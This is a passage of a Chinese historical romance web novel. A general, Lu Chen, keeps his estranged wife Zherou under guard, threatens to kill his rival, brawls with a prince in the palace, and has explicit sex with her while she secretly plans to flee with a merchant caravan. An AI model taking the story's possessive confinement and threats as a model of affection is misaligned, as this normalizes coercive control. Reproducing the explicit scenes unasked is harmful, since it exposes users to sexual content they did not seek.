陆谌的喉结狠狠地滚了几滚,引着她继续,直到纤细柔软的五指轻蜷合拢起来。 触感玉凉、柔软、细嫩,陆谌猛地打了一个激灵,喉间不由溢出一声压抑的闷哼。 浑身的血液仿佛陡然间集中到一处,让他的身子越绷越紧,如同一张拉满的硬弓。 明烈的快意无处宣泄,他忍不住捧起她的脸颊,低头寻住她的唇瓣,慢慢地缠吻含吮,辗转厮磨。 折柔被迫着仰起脸,同他呼吸交缠,暧昧的吞咽声缠绵在耳畔,喘息间都是熟悉的男子气息,混杂着几分血气,屋内的灯烛不知何时熄灭,唯余窗外疏漏的浅淡月光,模糊昏暗的光线一寸寸放大彼此的感官。 掌心的触觉越来越分明,她指尖被烫得隐隐发麻,想要抽手松开,偏又被他更加用力地扣紧,分毫挣脱不得。 察觉到怀里人的退意,陆谌顺着她的脖颈向下啄吻,最后埋头抵住她的颈窝,呼吸愈发滚烫,涔涔热汗顺着硬挺的鼻梁滑落,浸湿了她细嫩的肌肤,“妱妱……帮我……” “我自己试过……不成……” 他声音哑得不成样子,禁锢着她,偏又带着几分罕见的脆弱意味,似命令,却更似诱哄求恳。 折柔动作一僵,半晌,她咬了咬唇,闭上眼。 也不知那香料里添的到底是何等猛药,陆谌记不清就着她柔软的掌心折腾了几回,断断续续,直到窗外传来四更的梆子声,体内的邪火似乎才渐渐止歇。 耽搁到这个时辰,折柔早已困得睁不开眼,只迷迷糊糊地靠在他胸前,整条手臂都酸软得紧,连一丝一毫都懒得再动。 陆谌长臂一探,扯来一件换洗用的干净外袍,将她密密实实地缠裹起来,抱起来送回到主屋,放到软榻上,除去她身上被浸得半湿的衣衫,换上干爽的里衣。 又起身去打来一盆温水,浸湿了帕子,拧干,捉住她细弱的十指,从指尖到指缝,一根一根仔细擦拭干净。 不等他收拾利落,折柔便已沉沉地熟睡了过去。 她乏倦地蜷缩在锦被里,鬓发乌浓散乱,唇瓣被吮吻得嫣红水润,烛光下映着白净的侧脸,整个人仿佛沁润在潺潺山泉里的一片玉瓷,莹润生辉。 无处不惹人爱怜。 她若不在他身边—— 这个念头只是一想,就让他浑身血液寸寸冻结,连呼吸都像被冷刀刮过肺腑。 他断然无法忍受。 也绝不容许。 长指拨开她鬓边散乱的碎发,陆谌低下头,轻吻了吻她的唇瓣,这才掀开被衾上了榻,在她身畔躺好,合眼之前,又伸手将人捞进怀里紧了紧。 陆谌这一夜折腾得乏累非常,醒来时比平常晚了许多,似是已经天光大亮,只不过床帐四角掩得密实,隐隐约约地透过几缕曦光。 身侧,折柔睡得正沉,温热气息轻轻拂过枕畔,长睫在眼下投下一片阴影,随着呼吸微微颤动,显出几分慵懒的意味。 低头看到怀里枕着的人,昨夜的亲昵重又浮现上来,陆谌喉结滚了滚,目光描摹过她温婉柔软的轮廓。 “妱妱。” 她还在睡,却无意识地往他这边蹭了蹭,发丝扫过他的手臂,带起一阵细微的痒意。 陆谌心头一时情动,指腹轻轻抚过她凌乱的鬓发,忍不住低头去寻那两片嫣红饱满的唇瓣,捉弄似的吻了一下。 也不知她做了什么好梦,唇边带起一点恬淡的笑意,被痒得往一旁躲。 太久没见过她这般柔软的模样,陆谌眼眶竟有些酸涩,心头一拱一拱地发热。 他无声地笑了笑,薄唇追过去,捧住她的脸颊,轻轻地吻了吻那截纤柔白皙的脖颈。 折柔昨夜忙得精疲力尽,这一觉睡得混沌迷朦,意识浮浮沉沉,有些分不清身处何方,是梦是醒,恍惚间只觉是在燕子坞里,似是去山上采药,有人拿着新摘的草梗,轻轻挠着她的脖颈。 “别闹……”她迷糊着笑了,声音里带了些慵懒放松的倦意,“鸣岐……” 陆谌一瞬僵住,仿佛浑身的血都凉了。 他缓缓抬起头,眸底一片赤红,面上再无一丝表情,死死盯着她犹带笑意的睡颜。 “妱妱,你在唤谁?” 第68章 醋怒 折柔睡得正是昏沉,却不想被人硬生生唤醒,朦朦胧胧地睁开眼睛,就对上一双阴沉含怒的冷冽黑眸。 她不由得微微一怔。 陆谌抬手擒住她的脸颊,下颌绷紧如冷铁,寒声质问:“方才,你在唤谁?” 折柔此刻虽是醒了,意识却还困倦混沌着,脑中无力思索,茫然间更想不起方才梦到些什么,又梦到了谁,怎么就惹得他一大早胡乱发疯。 床帐里光线昏昧,周遭像笼了一团灰蒙蒙的薄雾。 折柔看不清他脸上的神色,一时间神智愈发恍惚,只觉眼前那道目光锐利得分外刺人。 她下意识地蹙了蹙眉,抬手想要挣脱开他的桎梏,声音里还带着些倦懒的困意,“你做甚么?” 陆谌却纹丝不动,指节反而收得更紧,目光冷冽得仿佛淬了冰水。 梦见旁的男人时还缱绻含笑,睁眼看见他便只剩满脸的疏离和不耐,仿佛多看一眼都扰了她清梦。 这哪里只是睡糊涂了的无心之失?分明是早已熟稔习惯的亲近,毫不设防,既自在,又松快。 明明从前只是他一个人的妱妱,满心满眼盛着的只有他一个,向来容不得旁人半分。 可不过才分开短短数月,她的柔软和温存便已经不再只属于他一个人,就算她的人被迫留在了他的身边,她的心里却存下了旁人的影子,那是他触之不得的回忆,更是他抹之不去的过往。 少年相伴的情分算什么,不过区区数月,没了他陆秉言,她立时便有了谢鸣岐。 这个念头一起,简直如同一根淬了毒的细针,直直戳刺进心头深处,戾气翻涌起来,恨怒得让他想杀人。 更恨不能将她的心剖开来抖干净,什么谢鸣岐李鸣岐通通扔出去,有多远滚多远。 “妱妱,你方才是在唤谁?” 陆谌手上不自觉地用了些力,折柔只觉下颌被他掐得有些发疼,意识彻底清明过来。 看清了他又是这般模样,她心头顿时涌起一股恼意,使力去掰他的手,怒声斥道:“总归不是你,放开!” 心脏陡然传来一阵尖锐的刺痛,陆谌眯起眼睛,唇角扯起一抹冷笑:“还惦记着他谢鸣岐,嗯?” 折柔正怨恼着他的粗鲁蛮横,闻言也蹙了眉,抿唇不耐,“是又怎样?” 当真是又狠又倔。 陆谌只觉胸口像是压了块寒冰,呼吸间一阵一阵冷刺得肺腑生疼。 那双黑眸冷冷地看向她,“妱妱,你只能是我的妻,旁的哪个胆敢再伸指碰你一下,管他是什么皇亲贵胄,”停顿一霎,他语气越发平静,一字一句地道:“我也照杀不误。” 折柔心头霎时一紧。 他既说得出,那多半便也做得到,若是当真发起疯来,还不知旁人要如何受她连累。 好半晌,她不觉间微红了眼眶,轻轻地颤声道:“……那你不如先杀了我。” 陆谌闻言猛地撑起身子,长指如铁,一把扣住她单薄小巧的肩头,俯身死死地逼视着她,“你说什么?!” 折柔抿紧了唇瓣,倔强地同他对视。 陆谌被她眼中的怨怒狠狠刺痛,想要说些什么,薄唇动了动,喉头却痉挛得发不出丝毫声音。 他不想如此。 他想要同她恩爱绵长,想看她弯着眉眼冲他笑,望着他的时候,一双秀眸中如漾春水,盈盈脉脉,想听她再柔声唤他“阿郎”。 他们可以和好如初,等到春日来了,他带她去祓禊踏青,入夏至秋,同她到金明池游湖摘荷花,去樊楼吃蟹喝花雕,到瓦子里看灯节百戏,朔冬天寒,在廊下支个红泥小火炉,他给她温酒烤芋头,两个人依偎在一处,看着院中落雪簌簌。 或许来日再生养一个孩儿,定要生得像她,招人怜爱。 那才是他的妱妱,是他们本该有的模样。 清瘦的指节不自觉地用力,收紧,在她白皙圆润的肩头上留下淡红色的印痕。 简直恨不能就这样将她揉进骨血里,让她的眼里心里,从此都只能装着他一个,那些不该留的记忆,那些多余的人,都该被剜得干干净净。 折柔的眼眶微微泛了红,索性偏过头,不再去看他。 好半晌,陆谌缓缓地松开了她,翻身下榻,随意扯了件衣裳披上,再没有片刻停留,转过屏风,径直出了门。 “砰”地一声,直棂木门被人重重关合。 屋子里再度沉寂下来,静得只能听见她自己清浅的呼吸声。 折柔依旧躺在榻上,一动未动,只盯着床帐上缠枝连理的珠线绣纹,静静地看了好一会儿,眼眶都酸涩得快要流下泪来。 她想好聚好散,想去过能让自己安心的日子,他却偏偏要蛮横强硬地将她拽回到身边,不管不顾地死死锁住。 一旦发起疯来,更是不拿人命当回事,随意糟践他自己也就算了,可竟连周霄这等外人都要因着她而饱受牵累。 她心中的怨恼早已积了一层又一层,如同被江堤拦住的潮水,日复一日地壅塞在胸腔里,无处宣泄的情绪越涨越高,几乎要漫过咽喉,堵得她连呼吸都困难。 心绪烦乱至极,折柔索性闭上眼,扯了扯被子,将自己紧紧裹成一团,等到睡醒再去想,来日到底要如何,方能同他彻底断了干系。 总归……总归不能一直这般下去。 陆谌在公廨衙门里一连住了两日,只是吩咐南衡看住她,自己倒是没再回过别院。等到第三日,官家派了人过来传话,令他入禁中觐见。 陆谌心中大约有数,官家传召,应当是和徐崇一案有关。 此案朝议数回,总算在昨日尘埃落定,官家朱笔御批,革其官职,抄没家财,贬为雷州别驾,即刻离京,押解赴任。 想是念及当年旧事,有意示恩安抚,这才特意传召。 却不曾想,踏入福宁殿时,竟见谢云舟也在。 时隔月余再见,两个身量相当的挺拔青年,身上分明是锦袍玉带,脸上却都带着掩不住的憔悴倦色,一个眉间含怒,一个眼底沉霜,隔着几步的距离,四目相接。 日光从窗棂漫进来,两人投在地上的影子都绷得笔直,如刀似剑。 对视不过短短一息,时间却仿佛过得很慢,殿中隐有剑拔弩张之势,侍立在侧的宫人们都不自觉地低下头,屏住了呼吸。 须臾,陆谌移开了目光,神色淡然地与谢云舟擦肩而过,上前向官家行了一礼。 官家将二人的神色尽收眼底,却只作未见,不动声色地抬了抬指,示意他落座,“传召你过来,倒也没甚要事,徐崇这桩案子办下来,你实是多有辛苦。说罢,今日想要什么赏赐,我都准了。” 陆谌沉默片刻,起身叉手行了一礼,沉声应道:“回禀官家,臣蒙圣恩擢用,掌职军务至今已满三载,岁课考绩俱为上等,依着朝中典制,如今已可为家中妻室请封诰命,臣斗胆,唯此一求,还望官家允准。” 谢云舟闻言猛地抬起头来。 官家不由地微顿了一霎,撩起眼皮,意味深长地朝他扫过去一眼。 谢云舟正欲上前开口,却撞上官家瞥过来那一眼,似警告,又似审视,生生将他钉在原地。 见自家儿子还算老实,官家淡淡地收回视线,转而看向陆谌,若有所思般“唔”了一声,“我记着,你家中元配,不是早被一纸休书遣返娘家了么?怎么,如今是又续了弦?” 陆谌俯身答道:“彼时是臣母一时气怒,但那封休书不曾得臣首肯,亦未过公门画押,臣与发妻宁氏,至今仍是三媒六聘、拜过宗庙的正头夫妻。” 殿内一时静默下来。 官家的指尖缓缓摩挲着扶手,半晌,颔首道:“既如此……也成,你先给礼部递个条陈,倘若一切属实,依循着典制来便是。” 陆谌向上谢过圣恩,便也不再多留,更是不曾再多看谢云舟一眼,径直行礼告退。 果不其然,从大殿里退出来不久,将将迈过一道宫门,转入夹道,谢云舟便从后追了上来,一把扣住他的肩膀,怒喝一声:“陆秉言,你给我站住!” 陆谌脚下站定,缓缓转身。 忽而一阵寒风掠过夹道,涌动的玄狐裘毛出锋遮住他半张清俊的侧脸,只看得清一双沉沉湛湛的冷冽黑眸。 视线在谢云舟难看的脸色上停留一霎,陆谌扯唇嘲道:“怎的,被圈在禁中,整日观政读史,父慈子孝,这做皇子的滋味可还舒坦?” 谢云舟指节一瞬捏得发白,强忍着怒意,一字一句地问道:“九娘呢?她眼下如何了?!” 陆谌面无表情地看着他,声音冷寒无比,“她是我妻,自然有我疼惜爱护,同我夫妻和畅,不劳你挂心惦记。” 谢云舟咬着后槽牙,不甘示弱地讥刺回去:“可真会给自己脸上贴金,你我都心知肚明,她早已舍了你,答允了我!” 不过短短数个字眼,却如同一把把淬了毒的匕首,直往心窝子里戳。 陆谌怒极反笑,扯了扯唇角,下颌微微一扬。状似不经意的动作间,雪白的中单领缘松开了些,透过狐裘涌动的间隙,隐约露出小半个已经发红泛紫的牙印,将将落在靠近喉结的位置。 是那晚她帮他纾解的时候咬出来的。 牙印边缘还带着淤血,两日过去,已然有些发紫,在冷白的肌肤上分外扎眼。 谢云舟瞳孔骤缩,脸色唰地一变。 原本已是咬牙强忍,他自己自是没甚好怕,只怕引得她惹了官家的眼,给她招祸,可事到如今,还叫他怎么忍? 胸腔里“腾”地燃起一团烈火,烧得五脏六腑都生疼,心头妒恨交织翻涌,他再也按捺不住,挥拳就朝陆谌面门砸去—— “陆谌你找死!” 第69章 第 69 章 谋算 两个人距离太近,陆谌猝不及防,被他一拳狠狠砸中,头偏了偏,唇角立时便见了血,喉结上的牙印随着吞咽滚动了一下,淤紫的痕迹愈加刺眼。 一旁引路的小黄门瞧见这情形,当即被吓得发了慌,上前想要拉架,却被二人厉声喝退,只能连滚带爬地奔回去,去找近前值守的禁军过来帮忙。 谢云舟胸口急剧起伏,眼底烧着火,还要再提拳砸来,被陆谌抬手截住,嗤道:“谢鸣岐,你也就这点出息,至多泄愤而已。” 闻言,谢云舟一瞬攥紧了拳,骨节捏得咯咯作响。 陆谌漫不经心地抹了抹唇角血痕,见他脸上神色变幻,不由冷笑了一声:“怎的?又想设法,避过旁人耳目,带她偷偷私逃出京?” 谢云舟死死地盯着他,眸光凛冽如刀,“你当小爷不敢?” “你自然是胆大包天。”陆谌扯唇一哂,停顿片刻,声音却陡然沉了下来,“可若没了这层皇亲贵胄的皮,你连自己都保不住,还拿什么同我争?就如当初在岷州,除了眼睁睁地看着我带她走,你又能奈我何?” 听他还敢提起岷州之事,谢云舟心头又怒又愧,眸色狠狠一沉,抬手便又是一拳。 这回陆谌早有防备,一把擒住他砸来的拳头,一拉一拧,顺势反剪住他的手臂,猛地将人顶按到宫墙上,俯身死死地压制住,指节用力到发青泛白。 两个青年男人粗重的喘息声在狭窄的宫道间回荡。 陆谌用全身重量桎住谢云舟,垂眸,冷眼打量着这个曾经生死与共的兄弟。 他们两个本是自幼一同长大的手足至交,少时焦不离孟,也曾抵足而眠,无话不谈。 可如今,即便只是这般短暂的对峙,都让他胸口发闷,难以忍受,只觉得他谢鸣岐的身上到处都沾染着她的气息。 让他嫉妒得要发疯。 哪怕明知谢云舟已经与她分离月余。 他仍是分毫都不能忍受。 妒意在血液里奔涌,烧得眼眶都泛红,陆谌发了狠,冷声怒道:“我劝你趁早死了这条心。到底是设法私逃,从此做个手无寸铁的寻常庶民,还是留在禁中,好好做你的孝子贤王,谢鸣岐,你大可自己思量。” 谢云舟半张脸被抵在冷硬粗粝的宫墙上,皮肉磨得生疼,反倒愈发激起了血性,“姓陆的,有本事你今日杀了我,否则不出下月,小爷必要带她走!” 陆谌一瞬眯起了眼,脑中不受控地反复回荡起她那日梦呓的模样,太阳穴突突直跳,疼得他眼前发黑,心头恨得几乎要滴出血来。 当即猛地收紧五指,手背青筋根根暴起,几乎要将谢云舟的腕骨捏碎。 谢云舟顿时痛喘出声。 陆谌扯了扯唇,笑意冷得像淬了毒:“只可惜,妱妱如今是与我日日相伴,她素来心软,不待你脱身出来,我必能哄得她回心转意。说不准过些时日,我同她便能有个孩儿,到时还请小王爷来喝我孩儿一杯满月酒。” 一股热血唰地直冲头顶,谢云舟胸口急促地起伏,张口怒骂:“做你的春秋大梦!小爷早就该弄死你,省得你再敢欺负她!” 话音未落,他猛地抬肘向后一击,重重一记不偏不倚,正好撞在陆谌胸前的伤处。 这一下顶得结结实实,陆谌闷哼一声,剧痛之下陡然便失了力,整个人趔趄着向后连退几步,后背狠狠地撞到宫墙上,一时支撑不住,滑跌在了青砖地上。 不及他喘息起身,谢云舟已经趁势猛扑上去,一把揪起陆谌的衣襟,将他牢牢压在身下,挥拳便向下砸落。 凌厉杀气裹挟着风声迎面袭来,陆谌本能地偏头闪避,拳锋擦着他的耳畔砸在墙上,头顶积雪簌簌震落。 他这一击虽是未中要害,陆谌却不曾回缓过来,胸口的刺伤已然迸裂,气血阵阵激荡,他只觉肺腑里一股热流倒涌而上,喉头一甜,偏过头猛地呛出一大口鲜血,溅在皑皑落雪上,猩红得触目惊心。 可谢云舟早已打红了眼,见状非但没有住手,反而趁机又往他腰腹间连捣数拳,恨怒交集间,当真存了杀意,拳拳到肉。 陆谌闷哼着弓起身子,几乎再也无力抵挡,却仍死死扣着谢云舟的一只手腕不放。 两个人厮打得齐齐滚倒在宫道上,衣袍鬓发都沾满了雪泥,喘息急沉粗重,像两头不死不休的困兽。 正咬牙僵持间,远处传来一阵急促的声响,小黄门求援引来的禁军匆匆赶到,众人甫一踏入夹道,看见这场面俱是大惊失色,急忙围拢上前,七手八脚地将撕扯在一处的两人强行拽开。 眼见着俩人一个是官家的心头肉,一个是执掌禁军的上将军,如今却这般为个女子争风吃醋,在禁中宫墙内大打出手,这事若是传出去谁也担待不起,一行人面面相觑,却也不敢多言,只能使出全力分隔开两个人。 “陆秉言!”谢云舟被两名禁军架起来往回拖,一时挣脱不开,却仍不甘心地挣扎怒喝,额角青筋暴起,“你给小爷等着!我早晚要了你的命!” 陆谌只觉五脏六腑痉挛绞痛,喉间不断涌上腥甜,好半晌,方才勉强撑起身子,由禁军架着腋下堪堪站稳,还不及开口应声,突然剧烈地弓腰呛咳起来,又呕出一口鲜血。 禁军都头见状一惊,抢步上前,沉声劝道:“上将军,且先去茶水房里歇一歇,末将这便叫人请医官过来!” 陆谌抬手抹去唇边血迹,指节因剧痛而微微发颤,偏却抬眼望向仍在挣扎的谢云舟,扯出了一抹冷笑:“不必。”故意顿了顿,淡淡道:“我家夫人医术高明,待回了府……自有她亲手照料。” 谢云舟气得瞪直了眼,挣扎的力道陡然暴增,架着他的两名禁军猝不及防,被他撞得一个趔趄,急忙使出全身力气,用裹着皮甲的臂膀死死将他箍住,几乎要将人都勒进甲胄里,才勉强将他再度按住。 陆谌冷下眉目,吃力地转过身,由禁军搀扶着踉跄走出了夹道。 不待谢云舟回到殿中,此间消息便已分了两路,一路送入官家耳中,一路递去李桢府上。 怀忠打发走前来报信的小黄门,轻手轻脚地进了殿,将夹道中前后的始末细细禀明。 殿内静得出奇,除去他低缓的声音,只听得见铜漏滴答,熏香从博山炉里袅袅升起,在透过槅扇的日光中浮沉。 听完禀报,官家执笔的手顿了顿,“老三那边也知晓了?” 怀忠低低应是,躬身道:“官家放心,奴婢已着人透了风声过去。” 官家淡淡地“唔”了一声,眼底微微闪过一丝满意,良久,似自言自语一般,低叹道:“鸣岐这性子,从前叫我纵惯得太过了,如今既要担当大任,便需得好生磨一磨……” 顿了顿,他微微眯起眼,目光透过槅扇望向远处,“这个女子么,倒是块现成的磨刀石……若是他连三郎的一点小伎俩都招架不住,便是我再想,也断不能放心地把这江山大位留给他。” 言到此处,怀忠适时地垂目屏息,不再应声。 只不过话虽如此,官家到底还是心绪难平,停顿平复半晌,又重重搁下御笔,起身来回踱了两圈,终是忍不住抬手指向殿外,恨声道:“你看看他那个不值钱的样子!” 怀忠见状,赶忙递上一盏温茶,笑着劝道:“咱们小王爷骨子里是刚烈赤忱的脾性,再肖母不过了,活脱脱就是娘子当年的模样。” 官家闻言一怔,接过茶盏的手微微发颤,好半晌,方才怅惘地点点头,望着殿外渐暗的天色,沉默着不再言语。 折柔白日里到城西出诊,往回走时已是暮色四合,天色渐暗。 自从上次被陆谌半路截回来,南衡和平川便整日跟在她身后,寸步不离,看守得那般严密,她便是长了翅膀也逃不出去。 更不必说经过周霄那一遭,她实在是后怕,担心再牵连到旁人,如今也只能借着外出行医的由头,在上京城中四处走走,既是散心透气,也是为了熟悉各处街巷的走向,权当是未雨绸缪,留条后路。 马车绕过潘楼时,夜市已渐渐热闹起来。沿小货行街往里去,人流愈密,马车再难行进,折柔索性下了车,慢慢往药铺的方向走。 走出不远,她忽然在熙攘的人群中瞥见一张熟悉的脸。 那眉目轮廓似曾相识,却又有几分陌生,倒像是她看错了。 正迟疑间,那人显然也瞧见了她,眼神倏地一亮,隔着街上攒动的人头,踮起脚尖朝她招了招手:“九,九娘!” 这回看得再清楚不过,竟然真的是叶以安。 折柔不由愣了一下。 原以为自那日扬州一别,二人往后大约不会再见了,谁知竟会在偌大的上京城里遇上。 叶以安乍见故人,心头极是欢喜,赶忙拨开身前拥塞的人流,朝着她的方向挤了过来。 等走到近前,看清了她的模样,叶以安不由微怔了一霎。 和从前那般荆钗布裙的打扮不同,她如今换了一身云纹织锦褙子,发间穿坠珍珠璎珞,身后还有健壮护卫跟随,看起来俨然是哪家的富贵官眷。 “叶公子。”见他发愣,折柔抿唇浅笑,先开了口,“正月才过,你怎么到上京来了?” 叶以安回过神来,有点不大好意思地应道:“今、今岁,官家开恩科,我、我再来试试。”说着,又不自在地悄悄整了整儒生袍袖。 折柔瞧着他这副模样,不禁莞尔,温声道:“原是如此,那便祝叶公子金榜题名,蟾宫折桂。” 叶以安闻言微微低头,腼腆地笑了笑,“谢、谢九娘吉言。” 从前毕竟是承过他的恩情,难得再遇,折柔抬手指向前方挂着青布招子的铺面,含笑客套道:“我家铺子就在前头不远处,叶公子若是得空,不妨过去喝口热茶,歇歇脚。” “多、多谢九娘美意。”叶以安犹豫一瞬,还是摆了摆手,回身指向长街对角的布庄,“家中掌事还在布铺等着,实、实不相瞒,我这次来京也是为着生意……听说西羌要同大周和亲,商、商队往来必多,家中也想看看,能、能否同羌人多做些布匹买卖。” 闻言,折柔眸光微微一动。 他是说者无心,可听者却是有意。 这些时日以来,她曾思量过不少脱身的法子,可不论走水路还是官道,但凡出城都需勘验凭由,极容易留下线索,瞒不过陆谌的耳目,如今想来,唯独西羌的商队是个例外。 眼下西羌正欲与大周和亲,此事关系甚大,这些商队往来城门时,守军多半会行个方便,不会严加盘查,免得生出冲突,担待不起。 若是能混进西羌的商队,借着便利一道出京,或许不失为一个掩盖行踪的法子。 “九娘?”叶以安见她出神,迟疑地轻唤了一声。 折柔一瞬回过神来,抿唇笑笑,两个人又寒暄了几句,只不过还有南衡跟在身后,她一时也不便打听太多。 正要同叶以安告辞别过,她却忽然感觉脊心一阵发麻,总觉像有人正在看她。 下意识地转过头,四下一张望,目光猝不及防撞进了一双漆黑冰寒的眼。 陆谌就站在她身后不远处,披着一件玄狐大氅,脸色微白,薄唇紧抿成一道锋利的线,目光冷淡地盯着她。 第70章 缓和 折柔一瞬愣住。 不知陆谌是何时过来的,更不知他在此处看了多久。 一旁的叶以安也顿住了,看了看陆谌,又转头看了眼折柔,带着点迟疑地唤了一声:“九娘……” 周遭街市喧嚣,人声如沸,不待她做出反应,陆谌已经迈步朝这边走了过来。 折柔心跳蓦然加快,掌心微微沁出了一层细汗,只怕陆谌心里不痛快,不知又要生出什么事端。 眼见着陆谌越走越近,一双黑眸沉沉湛湛,她索性也往前迎了半步,极为自然地挽上他的臂弯,轻唤了一声:“陆秉言。” 陆谌的身形骤然僵住,臂上肌肉一瞬绷紧,不可置信地看了她一眼,仿佛一只被人捏住了后颈的狸奴。 “叶公子。”折柔笑笑,转头向叶以安引见,语气愈发温软,“他是我阿郎,从前你们在宿州也见过的。” 阿郎。 陆谌缓缓垂下眼眸,望向身畔依偎着的人。 她脸上笑意温柔,细弱的指尖白皙微凉,搭在他的衣衫上,仿佛春日里一捧将融未融的初雪。 虽然明知她这般亲昵不过是在外人面前做戏,可看见她主动挽上来的胳膊,原本还在心头翻腾的戾气一瞬便被抚平了几分。 陆谌喉结滚了滚,忽然捉住她挽在自己臂上的那只素手,瘦削有力的长指强势地挤进她的指缝,一寸寸与她十指相扣。 温热粗粝的掌心贴覆上来,折柔下意识地挣了一下,却没能挣动,反倒教他攥得更紧。 叶以安这时也认出了陆谌,可不正是当初在宿州,九娘生辰,蛮横地闯进小院的那个人! 他脸色唰地一变,“你、你……” 陆谌和他对视片刻,扯唇轻笑了下,淡淡道:“不错,是我。” 叶以安心头倏地一怒,可转念又想起方才九娘去挽臂的亲近模样,脑子里顿时嗡嗡乱成一团。 他本以为九娘是寻常人家受了欺的妇人,却不想她原是上京城中的高门贵眷,大抵早已和郎君重归于好,才会在人前这般亲近恩爱。 而他只是商户,虽薄有资财,却未有官身,自然、自然也是比不得的…… 陆谌面无表情地盯着他,指腹轻轻摩挲着折柔细嫩的手背,声音倒是越发淡然,“既是故人,不如我夫妇二人做东,请足下到潘楼小聚一场,略尽地主之谊。” 叶以安的目光不受控制地落在两人紧紧交扣的十指上,男子的筋骨有力,女子的纤柔白皙,竟有种说不出的契合。 他只觉面皮渐渐涨红,整个人局促得快要冒烟。 “多、多谢足下美意,在下还、还有事,不便久留。” 陆谌闻言挑眉,语气隐隐有些轻佻,“如此,我夫妇二人倒是不宜多留了。” 叶以安耳根烧得通红,仓促地和二人行了一礼,便匆匆转身往回走,低垂着头,拨开人群,倒是显出几分慌不择路的狼狈。 见叶以安已经平安走远,折柔立时便想挣开陆谌的手,却不想被他反手一拽,整个人踉跄着跌进他怀里。 陆谌顺势用大氅一裹,将她严严实实地团拢住,温热掌心覆上她的后腰,稍稍用力压向自己,“人都走了,不许再看。” 他将头低得很深,薄唇几乎贴上她的耳尖,呼出的热息直往耳朵里扑钻。 夜幕将垂未垂,街巷高悬的细纱灯一盏盏亮起来,大庭广众之下,各色小贩的吆喝声近在咫尺,折柔忍不住蹙起眉,用力挣动了一下,低声斥道:“街上好些人呢,放开。” “现在知道羞了?”陆谌却非但不松手,反而搂得更紧,冷嗤一声:“宁妱妱,方才挽着我喊阿郎时,怎的不见你躲?就这般怕我对他动手?你以为我会怎样,杀了他么?” 听出他语气不善,折柔不想在街上同他起争执,抿了抿唇,违心地否认:“没有。” 陆谌睨她一眼,转头唤了声南衡,语气淡淡:“去,叫人查查那书生家中的铺子,可有不法缺漏之处,若有,告到平准司去。” 折柔一惊,急声唤道:“陆秉言!我同他没有干系,你莫要为难旁人。” 陆谌却低低地笑了起来,似是心情极好,埋头在她颈窝,不轻不重地咬了一口,“傻妱妱,吓你的。” 周遭人流如织,他却这般肆无忌惮,浑然不顾旁人眼光。 折柔面上一瞬烧热,只觉得羞恼交集,抬手抵住他的胸膛,用力想要推开,却忽听头顶的人闷哼一声,微微佝偻起腰背,半边身子都压上了她的肩头。 折柔顿时怔住。 借着街边羊角纱灯泻下的昏黄光晕,她这才发现陆谌脸上有伤,唇角破了,颧骨处淤红发青,就连身上也带着一股若有似无的血腥气。 这副模样,分明是刚和人动过手。 可是以他如今的身份,哪里还有什么人敢轻易和他动手打架。 心里莫名生出些不安的直觉,折柔微微一顿,抬眼看向他,“这是怎么回事?” 陆谌咬了咬牙,强撑起身来,黑眸定定地看了她一眼,扯唇冷哂:“路上遇见条野狗,和他打了一架。” 折柔愣了一瞬,旋即便明白过来,但也不敢多问,左右他和鸣岐打不出人命来,只能不大自然地垂下眼睫,掩饰道:“……先松开我。” 陆谌淡淡地瞥了她一眼,清瘦的下巴朝药铺方向一扬,竟有几分小童似的狡赖,“你帮我上药,我便松开。” 折柔心中虽不大想理会,可思量半晌,到底没有拒绝。 如今她被看守得太严实,一直这样下去不是办法,若想随西羌商队出城,她时间不多。 或许只能如当初一般,哄得陆谌稍稍松懈下来,她才能寻到机会,设法离开。 暮色渐浓,药铺后院的厢房里没有掌灯,四下里雾蒙蒙一片,只有街边的几缕暖黄光晕从槅扇窗筛进来,给屋中蒙上一层微光。 进了屋子,折柔径直走到案前点亮灯盏。暖黄的光晕渐渐晕开,映得她侧脸愈发温和柔软。 “把衣裳脱了。” 陆谌利落地解开外袍,布料窸窣落地,露出削瘦紧实的上身,黑漆漆的俊眸一瞬不瞬地盯着她。 药铺里就有现成的干净细布,小婵很快又送了温水和巾帕过来。 折柔净了手,用巾帕沾着烈酒,上前替他清理创口,轻声道:“忍着些。” 烧酒触及皮肉,一瞬便带起火辣辣的刺痛,陆谌疼得额角青筋暴起,冷汗顺着鬓角滑落,却咬紧了牙一声不吭,只垂眸端量她的神色。 折柔却浑然不觉,低着头,露出一截纤瘦白净的脖颈,指尖温热柔软,轻轻擦过他的伤处,带着淡淡的杏花香,温软的触感与伤口的灼痛交织在一起,竟让他生出几分诡异的快意来。 细布穿过腋下,一圈圈缠绕在他的胸膛上,纱布摩挲的细微声响在静谧的室内尤为清晰,恍惚间,像是她主动张开了手臂,轻轻地环抱住他。 陆谌眼眸低垂,喉结不自觉地轻滚了滚,看着她微微凸起的颈后骨节,感觉到她柔软的发丝轻轻蹭过下巴,暖绒绒,勾得心中一阵发痒,窜起细微的战栗。 这是他的妱妱。 没了一个谢鸣岐,又来一个小书生,同她言笑晏晏,只一想便让人生怒,心口如同刀剜似的揪了一揪。 重新缠好细布,折柔收了药罐,正要转身离开,陆谌却忽然抬起手,一把将她拽进怀里,擒住她的脸颊,低头深深地吻了下去。 折柔猝不及防,只觉有浅淡的些微胡茬蹭过侧脸,带起一阵细细的刺痛,脚下便忽然一空,整个人已被陆谌打横抱了起来,径直送到榻上。 “陆——”不待她挣扎起身,眼前光线骤然暗了暗,陆谌已经俯了身,用膝盖抵开了她细长的双腿,粗粝掌心拢住她的脸颊,薄唇带着安抚诱哄的意味,慢慢地取悦亲昵。 衣料窸窣落地,折柔身上微凉一霎,随即便察觉到身上的人埋头下来,热烫的吻一路游离而下,又重重一吮。 折柔被激得浑身一颤,不自觉地弓起腰肢,唇间溢出几分细碎的轻哼。 陆谌眸光微沉,撑臂探身过来,想要寻吻那两片嫣红饱满的唇瓣。 折柔却轻喘着将他推开。 她心知这等事不可避免,他既然俯就伺候,她又何苦让自己不痛快,只不过无论如何,孩子一定不能有。 她抬眼看过去,一双秀眸中水雾迷朦,偏又分出几丝清明,“……避子药呢?” 心头陡然一阵拧痛,陆谌沉默着并未作声,只是抬手抚了抚她汗湿的鬓角,低下头,再度吻住她的唇,勾牵出柔软的舌尖,让她亲自尝过自己口中那点淡淡的苦意。 如今她心结未解,他岂敢再有半点疏忽,只怕一个不慎,她还能做出如当初一般惨烈的事来。 可一想起从前旧事,心里便愈加沉痛,陆谌咬了咬牙,收紧双臂抱住怀里的人,将头深深埋进她的颈窝,含咬住她的脉管,脊背上薄肌愈加贲勃。 …… 一场云雨直到最后,陆谌揽抱住她汗津津的身子,依旧埋头在她的颈间,久久不愿离开。 